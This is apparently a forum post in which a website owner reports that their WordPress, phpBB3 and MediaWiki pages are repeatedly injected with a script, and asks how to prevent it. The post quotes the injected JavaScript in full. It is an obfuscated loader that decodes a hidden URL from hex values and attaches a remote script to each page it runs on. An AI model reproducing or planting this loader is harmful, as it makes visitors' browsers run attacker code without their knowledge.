I found that a lot of the pages of my wordpress website (alongside with phpbb3 and mediawiki) are being appended with a suspicious Javascript:
function vdch() {
if(document.all.length > 3) {
var t = new Array('#6a7072', '#723e29', '#2d6562', '#6d7667', '#606863', '#766b72', '#712a65', '#6d2a73', '#692b6c', '#712b00');
var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } }
var dch = document.createElement("script");
dch.id = "dchid";
dch.src = dchid;
document.all[3].appendChild(dch);
} else {
setTimeout("vdch()",500);
}
} setTimeout("vdch()",500);
</script>
I have searched the web and found that it looks like a wordpress issue:
http://forums.aria.co.uk/archive/index.php/t-72585.html
I had tried recover the site by download and re-upload again. However, a few hours later, it was hacked again.
Do anyone of you know how to prevent this?
Thanks a lot for your help.